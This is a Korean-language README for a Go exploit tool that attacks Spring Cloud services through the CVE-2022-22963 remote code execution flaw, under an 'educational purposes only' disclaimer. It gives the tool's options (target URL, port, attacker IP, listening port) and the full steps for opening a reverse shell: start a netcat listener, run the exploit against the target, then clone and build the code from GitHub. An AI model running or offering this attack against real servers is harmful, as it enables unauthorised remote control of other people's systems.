
CVE-2022-22963용 바이너리
CVE-2022-22963 을 이용한 원격 코드 실행으로 Spring Cloud 서비스를 공격합니다.
면책사항: 이 프로그램은 교육 목적으로만 제공됩니다. 작성자는 이 프로그램 사용에 대한 책임을 지지 않습니다. 사용에 따른 모든 위험은 사용자 본인에게 있습니다.
./CVE-2022-22963 -h
Usage:
CVE-2022-22963 [OPTIONS]
Application Options:
-u, --target-url= Target/Host url where 'Spring Cloud' is running. Example: -t http://somesite.htb
-p, --target-port= Port running the service. Example: -p 8080
-i, --attacker-ip= Attacker IPv4 Address. Example: -i 10.10.10.10
-l, --listening-port= Listening port to connect. Example: -l 1337
Help Options:
-h, --help Show this help message
취약할 가능성이 있는 대상이 http://somerandomserver.com:8080 에서 실행 중이라고 가정합니다. nc 를 포트 1337 에서 수신 대기하도록 시작합니다(nc -lvnp 1337 실행). 그런 다음 스크립트/익스플로잇을 실행합니다:
./CVE-2022-22963 -u http://somerandomserver.com -p 8080 -i 10.10.10.10 -l 1337
go 가 머신에 설치되어 있다면, 다음을 실행하기만 하면 됩니다:
git clone https://github.com/GunZF0x/CVE-2022-22963.git
cd CVE-2022-22963
go run main.go -h #run without compiling any file
go build -o exploit main.go #build the file